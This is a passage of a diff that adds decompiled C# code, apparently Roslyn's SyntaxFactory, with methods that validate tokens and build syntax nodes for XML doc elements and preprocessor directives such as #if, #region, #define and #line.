endCDataToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlCDataSectionSyntax XmlCDataSection(SyntaxTokenList textTokens = default(SyntaxTokenList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return XmlCDataSection(Token(SyntaxKind.XmlCDataStartToken), textTokens, Token(SyntaxKind.XmlCDataEndToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlProcessingInstructionSyntax XmlProcessingInstruction(SyntaxToken startProcessingInstructionToken, Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxTokenList textTokens, SyntaxToken endProcessingInstructionToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if (startProcessingInstructionToken.Kind() != SyntaxKind.XmlProcessingInstructionStartToken) + { + throw new ArgumentException("startProcessingInstructionToken"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (endProcessingInstructionToken.Kind() != SyntaxKind.XmlProcessingInstructionEndToken) + { + throw new ArgumentException("endProcessingInstructionToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlProcessingInstructionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlProcessingInstruction((SyntaxToken)(object)((SyntaxToken)(ref startProcessingInstructionToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameSyntax)(object)((SyntaxNode)name).Green, GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref textTokens)).Node), (SyntaxToken)(object)((SyntaxToken)(ref endProcessingInstructionToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlProcessingInstructionSyntax XmlProcessingInstruction(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxTokenList textTokens) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return XmlProcessingInstruction(Token(SyntaxKind.XmlProcessingInstructionStartToken), name, textTokens, Token(SyntaxKind.XmlProcessingInstructionEndToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlProcessingInstructionSyntax XmlProcessingInstruction(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return XmlProcessingInstruction(Token(SyntaxKind.XmlProcessingInstructionStartToken), name, default(SyntaxTokenList), Token(SyntaxKind.XmlProcessingInstructionEndToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlCommentSyntax XmlComment(SyntaxToken lessThanExclamationMinusMinusToken, SyntaxTokenList textTokens, SyntaxToken minusMinusGreaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (lessThanExclamationMinusMinusToken.Kind() != SyntaxKind.XmlCommentStartToken) + { + throw new ArgumentException("lessThanExclamationMinusMinusToken"); + } + if (minusMinusGreaterThanToken.Kind() != SyntaxKind.XmlCommentEndToken) + { + throw new ArgumentException("minusMinusGreaterThanToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlCommentSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlComment((SyntaxToken)(object)((SyntaxToken)(ref lessThanExclamationMinusMinusToken)).Node, GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref textTokens)).Node), (SyntaxToken)(object)((SyntaxToken)(ref minusMinusGreaterThanToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlCommentSyntax XmlComment(SyntaxTokenList textTokens = default(SyntaxTokenList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return XmlComment(Token(SyntaxKind.XmlCommentStartToken), textTokens, Token(SyntaxKind.XmlCommentEndToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IfDirectiveTriviaSyntax IfDirectiveTrivia(SyntaxToken hashToken, SyntaxToken ifKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (ifKeyword.Kind() != SyntaxKind.IfKeyword) + { + throw new ArgumentException("ifKeyword"); + } + if (condition == null) + { + throw new ArgumentNullException("condition"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.IfDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.IfDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref ifKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive, branchTaken, conditionValue)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IfDirectiveTriviaSyntax IfDirectiveTrivia(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, bool isActive, bool branchTaken, bool conditionValue) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return IfDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.IfKeyword), condition, Token(SyntaxKind.EndOfDirectiveToken), isActive, branchTaken, conditionValue); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElifDirectiveTriviaSyntax ElifDirectiveTrivia(SyntaxToken hashToken, SyntaxToken elifKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (elifKeyword.Kind() != SyntaxKind.ElifKeyword) + { + throw new ArgumentException("elifKeyword"); + } + if (condition == null) + { + throw new ArgumentNullException("condition"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ElifDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElifDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref elifKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive, branchTaken, conditionValue)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElifDirectiveTriviaSyntax ElifDirectiveTrivia(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, bool isActive, bool branchTaken, bool conditionValue) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return ElifDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.ElifKeyword), condition, Token(SyntaxKind.EndOfDirectiveToken), isActive, branchTaken, conditionValue); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElseDirectiveTriviaSyntax ElseDirectiveTrivia(SyntaxToken hashToken, SyntaxToken elseKeyword, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (elseKeyword.Kind() != SyntaxKind.ElseKeyword) + { + throw new ArgumentException("elseKeyword"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ElseDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElseDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref elseKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive, branchTaken)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElseDirectiveTriviaSyntax ElseDirectiveTrivia(bool isActive, bool branchTaken) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return ElseDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.ElseKeyword), Token(SyntaxKind.EndOfDirectiveToken), isActive, branchTaken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EndIfDirectiveTriviaSyntax EndIfDirectiveTrivia(SyntaxToken hashToken, SyntaxToken endIfKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (endIfKeyword.Kind() != SyntaxKind.EndIfKeyword) + { + throw new ArgumentException("endIfKeyword"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.EndIfDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EndIfDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endIfKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EndIfDirectiveTriviaSyntax EndIfDirectiveTrivia(bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return EndIfDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.EndIfKeyword), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RegionDirectiveTriviaSyntax RegionDirectiveTrivia(SyntaxToken hashToken, SyntaxToken regionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (regionKeyword.Kind() != SyntaxKind.RegionKeyword) + { + throw new ArgumentException("regionKeyword"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.RegionDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RegionDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref regionKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RegionDirectiveTriviaSyntax RegionDirectiveTrivia(bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return RegionDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.RegionKeyword), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EndRegionDirectiveTriviaSyntax EndRegionDirectiveTrivia(SyntaxToken hashToken, SyntaxToken endRegionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (endRegionKeyword.Kind() != SyntaxKind.EndRegionKeyword) + { + throw new ArgumentException("endRegionKeyword"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.EndRegionDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EndRegionDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endRegionKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EndRegionDirectiveTriviaSyntax EndRegionDirectiveTrivia(bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return EndRegionDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.EndRegionKeyword), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ErrorDirectiveTriviaSyntax ErrorDirectiveTrivia(SyntaxToken hashToken, SyntaxToken errorKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (errorKeyword.Kind() != SyntaxKind.ErrorKeyword) + { + throw new ArgumentException("errorKeyword"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ErrorDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ErrorDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref errorKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ErrorDirectiveTriviaSyntax ErrorDirectiveTrivia(bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return ErrorDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.ErrorKeyword), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WarningDirectiveTriviaSyntax WarningDirectiveTrivia(SyntaxToken hashToken, SyntaxToken warningKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (warningKeyword.Kind() != SyntaxKind.WarningKeyword) + { + throw new ArgumentException("warningKeyword"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.WarningDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.WarningDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref warningKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WarningDirectiveTriviaSyntax WarningDirectiveTrivia(bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return WarningDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.WarningKeyword), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BadDirectiveTriviaSyntax BadDirectiveTrivia(SyntaxToken hashToken, SyntaxToken identifier, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BadDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BadDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BadDirectiveTriviaSyntax BadDirectiveTrivia(SyntaxToken identifier, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return BadDirectiveTrivia(Token(SyntaxKind.HashToken), identifier, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefineDirectiveTriviaSyntax DefineDirectiveTrivia(SyntaxToken hashToken, SyntaxToken defineKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (defineKeyword.Kind() != SyntaxKind.DefineKeyword) + { + throw new ArgumentException("defineKeyword"); + } + if (name.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("name"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DefineDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DefineDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref defineKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref name)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefineDirectiveTriviaSyntax DefineDirectiveTrivia(SyntaxToken name, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return DefineDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.DefineKeyword), name, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefineDirectiveTriviaSyntax DefineDirectiveTrivia(string name, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + return DefineDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.DefineKeyword), Identifier(name), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UndefDirectiveTriviaSyntax UndefDirectiveTrivia(SyntaxToken hashToken, SyntaxToken undefKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (undefKeyword.Kind() != SyntaxKind.UndefKeyword) + { + throw new ArgumentException("undefKeyword"); + } + if (name.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("name"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.UndefDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.UndefDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref undefKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref name)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UndefDirectiveTriviaSyntax UndefDirectiveTrivia(SyntaxToken name, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return UndefDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.UndefKeyword), name, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UndefDirectiveTriviaSyntax UndefDirectiveTrivia(string name, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + return UndefDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.UndefKeyword), Identifier(name), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectiveTriviaSyntax LineDirectiveTrivia(SyntaxToken hashToken, SyntaxToken lineKeyword, SyntaxToken line, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (lineKeyword.Kind() != SyntaxKind.LineKeyword) + { + throw new ArgumentException("lineKeyword"); + } + SyntaxKind syntaxKind = line.Kind(); + if (syntaxKind != SyntaxKind.DefaultKeyword && syntaxKind != SyntaxKind.HiddenKeyword && syntaxKind != SyntaxKind.NumericLiteralToken) + { + throw new ArgumentException("line"); + } + syntaxKind = file.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.StringLiteralToken) + { + throw new ArgumentException("file"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LineDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref lineKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref line)).Node, (SyntaxToken)(object)((SyntaxToken)(ref file)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectiveTriviaSyntax LineDirectiveTrivia(SyntaxToken line, SyntaxToken file, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return LineDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.LineKeyword), line, file, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectiveTriviaSyntax LineDirectiveTrivia(SyntaxToken line, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return LineDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.LineKeyword), line, default(SyntaxToken), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax LineDirectivePosition(SyntaxToken openParenToken, SyntaxToken line, SyntaxToken commaToken, SyntaxToken character, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (line.Kind() != SyntaxKind.NumericLiteralToken) + { + throw new ArgumentException("line"); + } + if (commaToken.Kind() != SyntaxKind.CommaToken) + { + throw new ArgumentException("commaToken"); + } + if (character.Kind() != SyntaxKind.NumericLiteralToken) + { + throw new ArgumentException("character"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LineDirectivePosition((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref line)).Node, (SyntaxToken)(object)((SyntaxToken)(ref commaToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref character)).Node, (SyntaxToken)(object)((SyntaxToken)(ref 